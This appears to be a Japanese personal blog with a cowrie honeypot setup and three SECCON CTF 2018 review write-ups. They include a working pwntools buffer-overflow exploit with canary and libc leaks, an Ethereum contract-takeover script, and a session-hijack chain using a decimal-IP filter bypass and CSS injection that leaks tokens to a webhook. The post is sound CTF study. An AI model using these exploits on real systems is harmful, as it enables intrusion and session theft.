fr33f0r4ll

自分用雑記

Honeypot始めました

寒くなってきたのでハニポを立てることにしました。

設定とか

ハニポサーバ

ssh, telnetハニーポットであるcowrieを、Docker上で動かすようにしました。 AWSのEC2の無料枠内を使ってます、今のところ問題なく動作しているみたいです。 ハニーポットとかAWSとか何もかも始めてでしたが1日でセットアップを終わらせることができました。 Dockerだとローカルで再現して検証するのが楽でいいですね。

docker-compose.ymlはこんな感じです。

version: '3'
services:
  cowrie:
    image: cowrie/cowrie:latest
    ports:
      - "22:2222"
      - "23:2223"
    volumes:
      - ./etc/cowrie.cfg:/cowrie/cowrie-git/etc/cowrie.cfg:ro
      - ./var:/cowrie/cowrie-git/var

これだけで動く、最高! cowrie/cowrieのイメージは一応cowrieの公式イメージだそうです、githubの方にリンク貼ってあるし多分問題ないでしょう。 設定は./etc/cowrie.cfgに配置してあるのをコンテナにも置くようにして反映させています。 ログは./varに置かれるようにしています、マルウェアも降ってくるのであんまり良くない気もしますが多分大丈夫でしょう。 コンテナにマウントする前に、./var内に適切にディレクトリを配置しておかないとエラーを吐くので注意が必要です。 以下のようになっていれば大丈夫です。

var/run
var/lib
var/lib/cowrie
var/lib/cowrie/tty
var/lib/cowrie/downloads
var/log
var/log/cowrie

出力はjson形式でやっています。 本当はElasticsearchに吐くようにしたいけど、AWS無料枠制限でこれ以上サーバを立てられないのでローカルにログを移動してそれをローカルのElasticsearchに投げてます。 雑ですね。

cowrieの設定は、telnetを開けて認証をランダムにしたくらいです。

ログ解析環境

解析環境は、ElasticsearchとKibanaをDockerで動かしています。 Docker素晴しい。 docker-compose.ymlはこんな感じ。

version: '3'
services:
  elasticsearch:
    image: docker.elastic.co/elasticsearch/elasticsearch:6.4.2
    environment:
      - "ES_JAVA_OPTS=-Xms512m -Xmx512m"
    ulimits:
      memlock:
        soft: -1
        hard: -1
    expose:
      - 9200
    ports:
      - 9200:9200
    networks:
      intra:
        ipv4_address: 172.16.200.102
    volumes:
      - ./elasticsearch/data:/usr/share/elasticsearch/data
  kibana:
    image: docker.elastic.co/kibana/kibana:6.4.2
    volumes:
      - ./kibana/kibana.yml:/usr/share/kibana/config/kibana.yml:ro
    networks:
      intra:
        ipv4_address: 172.16.200.103
    depends_on:
      - elasticsearch
  nginx:
    image: nginx:latest
    volumes:
      - ./nginx/nginx.conf:/etc/nginx/nginx.conf:ro
      - ./nginx/htpasswd:/usr/local/nginx/.htpasswd:ro
    networks:
      intra:
        ipv4_address: 172.16.200.104
    ports:
      - 80:80
      
networks:
  intra:
    driver: bridge
    ipam:
      driver: default
      config:
      -
        subnet: 172.16.200.0/24

kibana.ymlだけ用意する必要がある(Elasticsearchのアドレス指定のため)が、Nginxを消してKibanaの方に80:5601とか設定すればnginx関連は不要になる。 他の用途に使っていたものを流用しているのであまり最適化されてないですね。TODO: あとでやる

いろいろ遊んでる。

f:id:hiziriAI:20181117184611p:plain

運用状況

さっそく色々降ってきてるみたいで、有名なraspberryraspberry993311もいた。 他にもjirenみたいな名前のやつとかxorddosみたいな名前のやつとか来てました。

ログインをランダムにしているので、色んなログイン情報取れるのが良い感じ。

どこかのサーバからロシアの検索エンジンあてのクエリみたいなものが転送されてくるのが一番謎ですね。 AmazonとかにHTTPクエリっぽいのが転送されてきてました。

ストレージは30GBくらいまで持つみたいなので、ログはギリギリまで溜めて削除する運用方針です。

今後

次はtsharkとかでパケットのログも取りたいところです。 おもしろいログがあったら書きます。

SECCON CTF 2018 Online Profile 復習

SECCON CTF 2018 Online Profile 復習

参考にしたサイト

問題

profileというプログラムとlibcが降ってくる。

セキュリティ機構は以下。

Arch:     amd64-64-little
RELRO:    Partial RELRO
Stack:    Canary found
NX:       NX enabled
PIE:      No PIE (0x400000)

標準的なセキュリティ機構は有効で変わったところはない。

次はfileの出力。

profile: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=80d81e528f97618c35e57b145a0c11df21769e67, not stripped

x64らしい。

解析

Radare2で解析してみたらC++だった。

復習目的だったのと、ちょっと探しただけじゃ脆弱性を見つけられなかったのですぐにWriteupを見た。

Writeupその2によると、バッファオーバーフローがあるらしい。
stringクラスの内部メモリ構造を理解する必要があり、文字列の内部ポインタを上書きすることで任意の読み出しができるそうだ。
read@GOTをリークさせてlibcベースを見つけ出し、one gadget RCEでsystem(/bin/sh)を実行する。
上の文章はほぼ直訳になってる。

stringクラス

Writeupその1を参考にした、要は長さが16未満の文字列をコンストラクタに渡したときはヒープに領域を確保せずスタックに積むようになるということらしい。

自分じゃコードとか解析しきれなかった、パワーが足りない...

Writeupその1から取ってきたPoCコード。

#include <cstdlib>
#include <iostream>
#include <string>

// replace operator new and delete to log allocations
void* operator new(std::size_t n) {
    std::cout << "[Allocating " << n << " bytes]";
    return malloc(n);
}
void operator delete(void* p) throw() {
    free(p);
}

int main() {
    for (size_t i = 0; i < 24; ++i) {
        std::cout << i << ": " << std::string(i, '=') << std::endl;
    }
}

実行すると16文字以降からはヒープに領域が確保され、それまではスタックに確保されていることが分かる。
Profile::update_msgで使われているmalloc_usable_sizeはスタックのアドレスが引数として渡された場合は負数を返すようになっている。
関数内で負数のチェックをしていないため、文字列長のチェックをすり抜けバッファオーバーフローさせられる。

作問者さまのサイトから拾ってきたソースコードの該当する部分。

void Profile::update_msg(void){
    char *buf;
    size_t size;

    buf = (char*)msg.c_str();
    if(!(size = malloc_usable_size(buf))){ // ここで負数が返される
        cout << "Unable to update message." << endl;
        return;
    }

    cout << "Input new message >> ";
    getn(buf, size); // ここで、sizeがunsignedなので巨大な正の数として扱われる
}

説明のためにコード中にコメントを書き加えた。

Exploit

stringとProfileクラスがスタック上でどうなっているのかよく分からなくて苦戦した。
おおまかには次のようになっている、pwndbgのtelescopeほぼそのまま。

0c:0060│ rax rdi  0x7fffffffd490 <- 0x54534554 /* 'TEST' */
0d:0068│          0x7fffffffd498 -> 0x401544 <- no
0e:0070│          0x7fffffffd4a0 -> 0x7fffffffd4b0 <- 0x7f0054534554 /* 'TEST' */            # Profile p.msg、文字列が格納されている場所へのポインタ
0f:0078│          0x7fffffffd4a8 <- 0x4                                                       # Profile p.msg、格納されている文字数
10:0080│          0x7fffffffd4b0 <- 0x7f0054534554 /* 'TEST' */                               # Profile p.msg、バッファの前半部分
11:0088│          0x7fffffffd4b8 -> 0x40155a (_GLOBAL__sub_I__ZN7Profile10update_msgEv+19) <- pop    rbp #Profile p.msg、バッファの後半部分
12:0090│          0x7fffffffd4c0 -> 0x7fffffffd4d0 <- 0x41414141 /* 'AAAA' */                 # Profile p.name、文字列が格納されている場所へのポインタ
13:0098│          0x7fffffffd4c8 <- 0x4                                                       # Profile p.name、格納されている文字数
14:00a0│          0x7fffffffd4d0 <- 0x41414141 /* 'AAAA' */                                   # Profile p.name、バッファの前半部分、16バイト
15:00a8│          0x7fffffffd4d8 <- 0x0                                                       # Profile p.name、バッファの後半部分
16:00b0│          0x7fffffffd4e0 <- 0x14                                                      # Profile p.age、20を入力した
17:00b8│          0x7fffffffd4e8 <- 0x9772425bb8672300                                        # canary、prev rbpとの間はパディング?
18:00c0│          0x7fffffffd4f0 -> 0x7fffffffd5e0 <- 0x1
19:00c8│          0x7fffffffd4f8 <- 0x0
1a:00d0│ rbp      0x7fffffffd500 -> 0x4016b0 (__libc_csu_init) <- push   r15                  # prev rbp
1b:00d8│          0x7fffffffd508 -> 0x7ffff7495830 (__libc_start_main+240) <- mov    edi, eax # return address

スタックの配置がこんな感じになっているので、Profile::update_msggetn(buf, size);バッファオーバーフローさせることで、p.nameの文字列が格納されている場所へのポインタが書き換えられる。
書き換えたあとでshow profileを選択することで、任意のアドレスの値を表示させられる。

ASLRを考慮してか、WriteupのExploitでは末尾1バイト分を書き換えるようになっていた。
末尾だけを0x00から0xffの範囲で書き換えて順番に表示することで、スタックの一定の範囲を全てダンプすることができる。
上の例にならうと0x7fffffffd4XXの範囲の値を全て見ることができる。
また、Profile pがスタックに確保されていることを考えると、ダンプした範囲のどこかにProfile p自身も含まれている可能性が高い。

以上のことから、0x00から0xffの範囲をダンプしてp.msgに入力した文字列を探し、その相対位置からcanaryを特定することが可能になる。

次に、p.nameの指すアドレスをGOT領域のreadに設定して、readが実際に存在しているアドレスを特定する。
実際に存在しているアドレスとlibc内のオフセットから、libcのベースアドレスを知ることができる。
あとはsystem/bin/shかone gadget RCEを使い、canaryによる検知を回避して、ripを奪いシェルを起動すればいい。

Writeupその1とか作問者さまのサイトにあったコードを参考にしつつ、Exploitを作成。

#!/usr/bin/env python2
# -*- coding: utf-8 -*-
from pwn import *

context.update(arch='amd64')
exe = './profile'
libc = './libc-2.23.so_56d992a0342a67a887b8dcaae381d2cc51205253'


def start(argv=[], *a, **kw):
    '''Start the exploit against the target.'''
    if args.GDB:
        return gdb.debug([exe] + argv, gdbscript=gdbscript, *a, **kw)
    elif args.REMOTE:
        return remote('profile.pwn.seccon.jp', 28553)
    else:
        return process([exe] + argv, *a, **kw)


# # gdb
# gdbscript = '''
# continue
# '''.format(**locals())

#===========================================================
#                    EXPLOIT GOES HERE
#===========================================================
menu = {'exit': '0', 'update': '1', 'show': '2'}

io = start(env={
    'LD_PRELOAD':
    './libc-2.23.so_56d992a0342a67a887b8dcaae381d2cc51205253'
})
elf = ELF(exe)
libc = ELF(libc)


# メニューの'update message'へ、payloadを入力する
def update(payload):
    io.sendlineafter('>> ', menu['update'])
    io.sendlineafter('Input new message >> ', payload)


# メニューの'show profile'を呼び出すだけ
def show():
    io.sendlineafter('>> ', menu['show'])


# p.nameのアドレスをaddrで書き換えて、show profileで表示させその値を返す
# パディングはあとでp.msgの位置を特定するために使う
def leak_val(addr, padding='AAAAAAAABBBBBBBB'):
    assert (len(padding) == 16)

    update(padding + addr)
    show()

    io.recvuntil('Name : ')
    # スタックのアドレスなんかは上位2バイトが0になってるので注意が必要
    out = io.recvuntil('Age  :').strip().ljust(8, '\x00')[:8] 

    return u64(out)


name = 'X' * 15
age = '20'
msg = 'Y'

io.sendline(name)
io.sendline(age)
io.sendline(msg)

# スタックの値をダンプする
leak_vals = []
for i in range(0, 0x100, 8):
    leak = leak_val(chr(i))
    log.info("Leak @ {:02x}: 0x{:016x}".format(i, leak))
    leak_vals.append(leak)

# パディングで設定した値から、p.msgの位置を特定する
if u64('A' * 8) not in leak_vals:
    print("Canary is not found  on the stack, retry.")
    io.close()
    exit(1)

# 特定したp.msgの位置からのオフセットで他の値を取得する
msg_pos = leak_vals.index(u64('A' * 8))
canary = leak_vals[msg_pos + 7]
prev_rbp = leak_vals[msg_pos + 10] # rbpからの相対アクセスで変なアドレスにアクセスしないようにするために使う
# p.nameの文字列へのポインタのアドレス
# main終了時にfreeされるらしく変なアドレスだとエラーが発生するため、それを回避するために使う
# 自分自身のアドレスがリークされていることに注意、つまりp.nameにある文字列へのポインタのアドレスを保持している変数自体のアドレスになる
profile_name_addr = leak_vals[msg_pos + 2]

log.info('canary: 0x{:x}'.format(canary))
log.info('prev_rbp: 0x{:x}'.format(prev_rbp))

# オーバーフローでシェルを起動する
# read@GOTの値をリークすることで、one gadget RCEのアドレスを取得する
read_got = leak_val(p64(elf.got['read'])) 
libc_base = read_got - libc.symbols['read']
one_gadget = libc_base + 0x45216 # one_gadgetで調べたアドレス、rax == nullの制約があるらしい

payload = 'A' * (8 * 2)  # p.msgのバッファを埋めるパディング
payload += p64(profile_name_addr + 0x10)  # freeされるため元のアドレスを復元する、0x10バイト先が本来のバッファなので0x10を足せばバッファのアドレスになる
payload += 'B' * (8 * 4)  # パディング
payload += p64(canary)
payload += 'X' * 8
payload += 'X' * 8
payload += p64(prev_rbp - 0x100) # 変なアドレスにならないようにrbpから適当な位置に設定
payload += p64(one_gadget) # シェルを起動

update(payload)

io.sendlineafter('>> ', menu['exit']) # exitしてmain関数からリターンする

io.interactive()

感想

C++のバイナリはあまり慣れていないから新鮮だった。
特にstringの構造については調べることすらろくにできなかったので、本番でもどうしようもなかった気がする。
Writeupでは細かいテクニックを色々使って解いているので勉強になった。

SECCON CTF 2018 Online Smart Gacha Lv.1 復習

Smart Gacha Lv1の復習

Writeup見ても全然分からなかったので残しておく。
Ethereumの知識が0の状態から突貫でやっているのでその辺りの記述は多分間違っています、注意してください。

参考にしたのはこのあたり、あとは公式のドキュメントとかWeb3.pyのドキュメントとか。

問題

Toggle the "getItem" boolean value in "fair lottery contract" to true. If you are lucky, you have only to press "test luck" button once. Even if you are not lucky, all you have to do is press the button 1,000,000 times.
Server: http://ether.pwn.seccon.jp/

解説

https://cookies.hatenablog.jp/entry/2018/10/28/184145のWriteupを参考にしながら解いた。

問題の解析

ServerのURLにアクセスすると、ログイン画面のようなページが表示される。
でも多分ログインは関係ないはずで、アカウントやパスを入れてもInternal Server Errorが出るだけだと思う。
Signupのところでパスワードが入力できるので、そこでパスワードだけ入力すると問題の"Lottery"にアクセスできる。
このパスワードは後から使うので忘れないように。 アカウントアドレスは空欄のままで問題ない。
正直誘導が不親切だと思う(本番で詰まってた)。

f:id:hiziriAI:20181108153540p:plain

パスワード入れてRegister押せばOK、"Lottery"が表示される。

"Claim ETH", "Deploy Lv1", "Deploy Lv2", "Your own client?"の4つのボタンと、"Wallet Address"と"Balance"の表示がある。

このETHというのはEthereumという分散型アプリケーションプラットフォームプロジェクトで使われる内部通貨の単位のことだと思う。
検索しても適当な用語の使い方をしているサイトばかりで、細かい用語の正しい意味が分からなかった。

まずは"Claim ETH"から問題を解くのに必要なEthereumの通貨を取得する。
しばらく待つと"Balance"が10ETHになる、これを元に問題を解ける。
無くなったらクッキーを削除して再登録すればまたもらえるはず。

f:id:hiziriAI:20181108153543p:plain

こんな感じになってるはず、アドレス見えてるけど閉じてるネットワークだし多分大丈夫だろ(適当)。

次に"Deploy Lv1"を押して、Lv1の問題のスクリプトを読み込む。
すると、"Test Luck!!"と書いてあるボタンとテーブルが追加されている。

f:id:hiziriAI:20181108153549p:plain

こんな感じ。
この"Test Luck!!"を押すと、"Played"が増えて"Balance"が微妙に減る。

問題文から察するに、このクジを当てればいいらしい。
当然まともに当てるわけがない。

クジを当てるには、このクジがどのように動作しているのか調べる必要があるため、ソースコードなんかを探す。
ソースと通信からいくつかのスクリプトが読み込まれているのが分かる。
この中のひとつである"Gacha.sol"がこの"Lottery"のプログラムになる。
一緒にロードされている"/static/lottery.js"を見れば分かるかもしれないが、直感でも何となく分かるだろう。

pragma solidity^0.4.24;

contract Gacha {
    address public owner;
    address public player;
    uint256 public played = 0;
    uint256 public seed;
    uint256 public lastHash;
    bool public getItem = false;
    bytes32 private password;
    
    modifier onlyOwner() {
        require(owner == msg.sender);
        _;
    }
    
    constructor(bytes32 _password, uint256 _seed, address _player) public {
        owner = msg.sender;
        player = _player;
        password = _password;
        lastHash = uint256(blockhash(block.number-1));
        seed = _seed;
    }
    
    function pickUp() public returns(bool) {
        require(player == msg.sender);
        
        uint256 blockValue = uint256(blockhash(block.number-1));
        if (lastHash == blockValue) {
            revert();
        }
        lastHash = blockValue;

        played++;
        if (mod(played, 1000000) == 0) {
            getItem = true;
            return getItem;
        }
        
        uint256 result = mod(seed * block.number, 200000);
        seed = result;
        
        if (result == 12345) getItem = true; // Flag is here!!
        
        return getItem;
    }
    
    function mod(uint256 a, uint256 b) internal pure returns (uint256) {
        require(b != 0);
        return a % b;
    }
    
    function initSeed(uint256 _seed) onlyOwner public {
        seed = _seed;
    }
    
    function changeOwner(bytes32 _password) public {
        if (password == _password) owner = msg.sender;
    }
    
}

わざわざコメントでフラグの場所を教えてくれている、このgetItemの値がtrueになるようにすればいいらしい。
前後関係から見て、seed * block.number % 200000 == 12345trueになればいいはず。

Ethereum

ここから先のことを理解するにはEthereumを知っていないといけなかったので調べた。 解くのに必要な最低限のことを最低限以下の理解で書いているので、間違ってる可能性が大いにあることに注意。

Ethereumでは、簡単に言うとブロックチェーン上にあるプログラム(コントラクトと呼ばれるらしい)を持つことができ、それを仮想マシン(Ethereum Virtual Machine, EVMというらしい)で実行することができる。
そして、コントラクトを実行した結果をブロックチェーン上に記録していくようになっている。
スマートコントラクトというらしい、詳しい実装などは知らない。

"Gacha.sol"もそのようなプログラムのひとつで、これはSolidityという言語で記述されている。
このコードはコンパイルされ中間表現のバイトコードとしてブロックチェーン上に記述される、その中間コードが実際に実行される。

問題を解く上で重要なのは、Ethereumのコントラクトのコードと一部のデータはブロックチェーンに記録されているため、そのネットワークに参加している人間なら誰でも見ることができるということである。
private宣言されていてもデータとして直接見ることは可能である。

調べた限りではブロックチェーン上に記録しないデータを持つことも可能らしいが、この問題のプログラムでは使われていないので無視する。

脆弱性

Ethereumの特徴から考えると、このプログラムの中のpasswordはネットワークの参加者なら誰でも見ることができるということが分かる。
passwordが分かっているのでchangeOwner関数の呼び出しを通じてこのコントラクトのオーナーになれる、ということらしい。

オーナになると、initSeedを呼び出して任意のシードを設定できるようになる。 どのような値を設定すればクジを当てられるかは簡単な算数で分かる。

seed * block.number % 200000 == 12345が真になればいいので、seed = 12345 * (block.number^-1 mod 200000)と設定すればいい。
逆元により、12345 * block.number^-1 * block.number mod 200000 = 12345となる。
詳しくはmodの逆元で検索すればいいんじゃないかな。

これでどうすればいいかが分かったので、あとはやるだけである。

Exploit

EVMのコードを実行する方法はいくつかあって、Writeupでは”geth”というEthereumのクライアントのコンソールから直接コマンドを実行していた。 前提知識が欠けていたのでまったく分からなかったが。
他にも、RPCを利用してJavaScriptPython経由で利用することもできる。
ここではPythonを使うことにする。

接続

問題を解く前に、CTFで使ってるEthereumのネットワークに接続する必要がある。
ここではgethをDocker上で起動して使うことにする。Dockerのインストールなどは他の記事を見て欲しい。

https://github.com/ethereum/go-ethereum/wiki/Running-in-Docker gethの公式のイメージがあるので、そのまま使わせてもらうことにした。

この問題で使っているネットワークへ接続するための設定ファイルは、"Your own client?"のメニューから取得できる。
"Configuration files"のリンクから設定ファイルをダウンロードして使う。
ダウンロードしたZipを解凍すると"connection"というディレクトリが出てきて、この中に設定がある。
サンプル中の"connection"はこのディレクトリだと思って解釈して欲しい。

起動するためのコマンドは以下の通りになる。

mkdir ether-data # 設定やブロックチェーンなどのデータが書き込まれるディレクトリを作成

# ethereum/client-go以降は、Docker内で実行されるgethに渡されるオプションになる
# connectionとether-dataをDocker環境ないからも参照できるようにして、オプションで設定ファイルとデータの保存場所として指定している
docker run -it -v $(pwd)/connection:/connection -v $(pwd)/ether-data:/data ethereum/client-go --datadir /data init /connection/genesis.json

# --rpcapiでRPCからアクセスできるAPIを指定している、指定しないといくつかの機能がPythonから使えなくなるので注意
# --rpcと--rpcaddrでRPCの起動とアドレスを指定、ポートは初期設定のものに接続できるようにDockerで指定している
docker run -it -v $(pwd)/ether-data:/data -p 8545:8545 -p 30303:30303 ethereum/client-go --datadir /data --networkid=2994 --nodiscover --rpcapi eth,web3,personal,admin --rpc --rpcaddr "0.0.0.0" 

これでgethが起動する、うまくいっていればログが表示されているはずである。

コード

Pythonで作った攻撃スクリプト、何度か実行する必要があるかもしれない(ブロックチェーンの状態は他の人も変化させられるため)。

Web3というEthereumにアクセスするためのライブラリを使うので、pipでインストールする必要がある。 あとPython3じゃないとだめなので注意。

from web3 import Web3

# Ethereumのコードを実行するためには、手元にコンパイルしたコードが必要になる
# 直接Solidityのコンパイラを使ってもいいが、オンラインで使えるコンパイラがあるのでそっちを使った
# https://remix.ethereum.org/
# Gacha.solのコードをコンパイルするには、コンパイラのバージョンをファイル先頭に書いてある0.4.24に合わせる必要がある、nightlyが付いてないやつ
# コンパイルしたあと、ABIからクリップボードにコピーできる
# falseとtrueだけFalseとTrueに合わせる必要がある
# こちらがそのabi

abi = [{
    "constant": False,
    "inputs": [{
        "name": "_seed",
        "type": "uint256"
    }],
    "name": "initSeed",
    "outputs": [],
    "payable": False,
    "stateMutability": "nonpayable",
    "type": "function"
}, {
    "constant": True,
    "inputs": [],
    "name": "played",
    "outputs": [{
        "name": "",
        "type": "uint256"
    }],
    "payable": False,
    "stateMutability": "view",
    "type": "function"
}, {
    "constant": False,
    "inputs": [],
    "name": "pickUp",
    "outputs": [{
        "name": "",
        "type": "bool"
    }],
    "payable": False,
    "stateMutability": "nonpayable",
    "type": "function"
}, {
    "constant": True,
    "inputs": [],
    "name": "lastHash",
    "outputs": [{
        "name": "",
        "type": "uint256"
    }],
    "payable": False,
    "stateMutability": "view",
    "type": "function"
}, {
    "constant": True,
    "inputs": [],
    "name": "player",
    "outputs": [{
        "name": "",
        "type": "address"
    }],
    "payable": False,
    "stateMutability": "view",
    "type": "function"
}, {
    "constant": True,
    "inputs": [],
    "name": "seed",
    "outputs": [{
        "name": "",
        "type": "uint256"
    }],
    "payable": False,
    "stateMutability": "view",
    "type": "function"
}, {
    "constant": True,
    "inputs": [],
    "name": "owner",
    "outputs": [{
        "name": "",
        "type": "address"
    }],
    "payable": False,
    "stateMutability": "view",
    "type": "function"
}, {
    "constant": True,
    "inputs": [],
    "name": "getItem",
    "outputs": [{
        "name": "",
        "type": "bool"
    }],
    "payable": False,
    "stateMutability": "view",
    "type": "function"
}, {
    "constant": False,
    "inputs": [{
        "name": "_password",
        "type": "bytes32"
    }],
    "name": "changeOwner",
    "outputs": [],
    "payable": False,
    "stateMutability": "nonpayable",
    "type": "function"
}, {
    "inputs": [{
        "name": "_password",
        "type": "bytes32"
    }, {
        "name": "_seed",
        "type": "uint256"
    }, {
        "name": "_player",
        "type": "address"
    }],
    "payable":
    False,
    "stateMutability":
    "nonpayable",
    "type":
    "constructor"
}]

# それぞれで違うので設定する必要がある
contract_addr = "<Test Luck!!のところのContract Address>"
wallet_addr = "<Wallet Address>"  # wallet addr of lottery
w = Web3()

#  connection/static-nodes.jsonにある接続先の情報、これで自分の環境で動作するDockerからCTFのネットワークに接続できる
w.admin.addPeer(
    "enode://fdc1d08a0902a563c5c593b2ee33224b4e8963ed4b6bd0fd6c7cb5531c33985f696675387b9751c24cc3a691981f888df5b8ab9a4a72646a46d4f1a8f2e4bb36@163.43.117.58:30303?discport=0"
)
w.admin.addPeer(
    "enode://c1905ca15641a649d819798103da61438a33df2a1de6a4b179cfd345346975e4e7a3b2d7131cae00284b89526e90f63ae5753f98b3498a0fe5ac0c47a5ec625b@163.43.117.33:30303?discport=0"
)
w.admin.addPeer(
    "enode://fb41e22d8f1b1142f583ed4bcd8eb448f527cf780029fad529fc06c458e5093d0fdf265925a01612b4e477feaf1aa22422f2b0752d6318bc33671f34bc802b0c@163.43.117.44:30303?discport=0"
)

# どっかからパクってきたmodの逆元計算のための拡張GCD
def egcd(a, b):
    (x, lastx) = (0, 1)
    (y, lasty) = (1, 0)
    while b != 0:
        q = a // b
        (a, b) = (b, a % b)
        (x, lastx) = (lastx - q * x, x)
        (y, lasty) = (lasty - q * y, y)
    return (lastx, lasty, a)

passphrase = "<最初に入力したパスワード>"

# connection/prv.keyにある、Walletの秘密鍵のインポート
# これで割り当てられたETHを使えるようになる
prv_key = ''
with open("./connection/prv.key") as f:
    prv_key = f.read()
    
key = w.eth.account.decrypt(prv_key, passphrase)
w.personal.importRawKey(key, passphrase)

# アカウントのアンロック
# よく分からない、ログイン処理みたいなものだろうか
w.personal.unlockAccount(w.eth.accounts[0], passphrase)
w.eth.defaultAccount = w.eth.accounts[0] # 登録したアカウントをデフォルトで使うように

contract = w.eth.contract(contract_addr, abi=abi)

# ストレージ中からパスワードを取得
# 6がパスワードの位置になる
# 前後の値を見てコード中の変数宣言に対応させていけば大体分かる
password = w.eth.getStorageAt(contract_addr, 6)

# changeOwnerを呼び出す、transactしないとブロックチェーンに記録してくれないらしい
contract.functions.changeOwner(password).transact()
# seed * blockNum mod 20000 == 12345 => (seed * blockNum - 12345) / k is Integer, 200000k

# 以下を何回か繰り返せば、そのうち当たる
# 人が多いときは+ 1より大きくする必要がある
# たまにエラー、リクエストが多いとダメらしい
block_num = w.eth.blockNumber + 1
x, _, _ = egcd(block_num, 200000)
if x < 0:
    x += 200000

# gasというのは手数料みたいなもので、それなりに重い関数だと必要らしい
contract.functions.initSeed(12345 * x).transact({"gas": 1000000})
w.eth.getTransaction(contract.functions.pickUp().transact())
w.eth.getTransaction(contract.functions.getItem().transact())

# 連続して実行するとエラーが出るので、ちょっとまってから実行するといい

だいたいこれで動く。 うまくいけば、Lotteryを更新するとFlagが表示される。

まとめ

Writeupを見ても、Ethereumの知識がないとまったく分からなかったので調べてやってみた。
ブロックチェーン上に状態とコードが保存されるのでコードの実行を一種の取り決めのように扱えるみたいな感じなんだろうか、新鮮だった。
正直CTF中にここまで調べて解くのは僕には無理っす、解けてる人すごい。

SECCON CTF 2018 Online Ghost Kingdom 復習

SECCON CTF 2018 Online Ghost Kingdom 復習

https://graneed.hatenablog.com/entry/2018/10/28/150722
人のWriteup見ながら復習。

問題

http://ghostkingdom.pwn.seccon.jp/FLAG/
URLが渡され、そこにアクセスするとFLAG is somewhere in this folder. GO TO TOPと表示される。
GO TO TOPのリンクから問題の脆弱性があるサービスに接続できる。

サービス

ログインするとMessage to admin, Take a screenshot, Upload imageの3つのメニューがある。
ログイン含め全てのサービスがGETだけで利用できる。

以下に各機能の簡単な説明。

Login

ログインはGETにより行われる、普通はPOSTが使われる。

ログイン処理をGETでやろうとするとRefererや通信ログから情報が漏洩してしまう可能性がある。

URLを通じてローカルネットワークから各機能を使わせるのに使った。

Message to admin

NormalEmergencyの2つのチェックボックスと、メッセージ入力欄、Previewボタンがある。

Previewボタンを押すとメッセージのプレビューが表示される。
Normalでは何もないが、Emergencyだと色が付くようになっている。

Previewボタンでの通信を見ると、cssというパラメータが使われているのが分かる。
値の末尾を見ると=が付いていることからbase64じゃないかと思える。
このパラメータにはCSSのコードがbase64エンコードされた状態で渡されていて、プレビューで色を付けるのに使われているらしい。
この値を適当に変更してやれば任意のCSSコードをページ中に埋め込める。 CSS injectionというらしい、そのままだった。
CSSなんかインジェクションして何ができるんだろうと思ったけど、属性の名前がどのようになっているかを判定して適用するかしないかを判定する、属性セレクタというものがあるらしい。
https://developer.mozilla.org/ja/docs/Web/CSS/Attribute_selectors

これを利用してある属性の値をリークさせる。

メッセージ送信の通信を見ると、hiddenパラメータとしてcsrfという値が送信されている。
どうやったら見破れるのかは分からないけど、cookieに保存されているセッションIDと同じ値がcsrfに設定されている。
後でここからセッションIDを盗み、セッションハイジャックする。

Take a screenshot

URLを入力し、スクリーンショットを撮ることができる。
内部でGETを利用していることは想像がつく。

この機能とGETによるログインを利用して、サーバからログインしたりさせられる。

Upload image

* Only for users logged in from the local networkと表示されている。
ローカルネットワークからアクセスする必要がある。
CTF的に考えると、この機能を使えるようにするのが最初のステップだとなんとなく分かる。

最終的にこの機能からコマンド実行をする。

解き方

まずアップロード機能を使えるようにすることを考える。
CTF中は常にIPアドレスによって判定していると思ってたが、どうやらログイン時の処理でしかアドレスは判定していないらしい。
なので一度ログインしてしまえばチェックはない。

そこで、ローカルネットワークからのログインのセッションをハイジャックすることを目指す。

セッションハイジャック

セッションハイジャックをするためにはセッションIDをリークさせる必要がある。
CSSの属性セレクタcsrfにセットされたセッションIDを利用して、セッションIDを1文字ずつリークさせる。

input[name=<attr-name>][value$="tail"] { color: green; }で、inputタグの属性<attr-name>の値の末尾がtailであるときにのみCSSが適用されるようになる、これが属性セレクタの機能になる。
これを利用してinput[name=csrf][value$="0"] { background: url("http://webhookinbox.com/x/xxxx/in/0"); }のようなCSSMessage to adminで渡してやると、セッションIDの末尾が0のときにだけwebhookinboxにアクセスが発生するようになる。
最後に0を付けているのは、クエリから末尾の値が何だったのかを確認できるようにするため。
0~fまでの組み合わせを渡せば、末尾から1文字ずつ特定していくことが可能になる。 Emergencyでのパラメータはこんな感じ。
/?css=<base64 css>&msg=<message>&action=msgadm2

これだけでは自分のセッションIDしか取得できない、ローカルネットワークのメッセージ機能でCSS injectionをする必要がある。
スクリーンショット機能を利用して、ローカルからメッセージ機能を使う。
入力したURLを自分自身のローカルアドレスに設定してパラメータを指定すれば、ローカルから全ての機能が使えるようになる。
最初にスクリーンショット機能経由でログインしなければならないはずなので注意。

URLにhttp://localhostのように指定しても、フィルタで127.0.0.1, localhost, ::1を含むURLは弾かれてしまう。
10進数表現(2130706433)や一部を16進数(0x7f.0.0.1)に変えた表現でもループバックアドレスとして扱われるので、これを使えばフィルタを回避できる。
これでローカルからのログイン、メッセージ送信などが可能になる。
http://2130706433/?action=login&user=user&pass=passみたいな感じのURLをスクリーンショット機能で指定すればローカルからログインできる。
ログインのクエリはこんな感じ。
/?user=<ユーザID>&pass=<パスワード>&action=login

スクリーンショット機能からログインし、メッセージ機能を使ってCSS injectionを繰り返すことでローカルでのセッションIDを取得できる。
このIDをcookieCGISESSIDに設定してやればアップロード機能が使えるようになる。

セッションIDの特定に使ったスクリプト

import base64
import requests
import time

host = 'http://ghostkingdom.pwn.seccon.jp/'
own_host = '<webhookinbox url>'


def login(session):
    return session.get(
        host,
        params={"user": "tkgsytest",
                "pass": "seccon",
                'action': 'login'})


def take_sshot(session, url):
    print(url)
    time.sleep(31)
    return session.get(host, params={"action": "sshot2", "url": url})


def login_at_local(session):
    url = 'http://2130706433/?user=<username>&pass=<password>&action=login'
    return take_sshot(session, url)


def send_msg_at_local(session, css):
    template = 'http://2130706433/?msg=Yo&action=msgadm2&css={}'
    enc_css = base64.b64encode(css)
    return take_sshot(session, template.format(enc_css))


def get_injection_css(known_tails):
    temp1 = 'input[name=csrf][value$="{}{}"]'
    temp2 = 'background: url("{}{}");'
    payload = ''

    for i in range(16):
        trial = hex(i)[2]
        payload += temp1.format(trial, known_tails)
        payload += " { "
        payload += temp2.format(own_host, trial)
        payload += " } "

    print(payload)
    return payload


def search_session_id(session, known_tails):
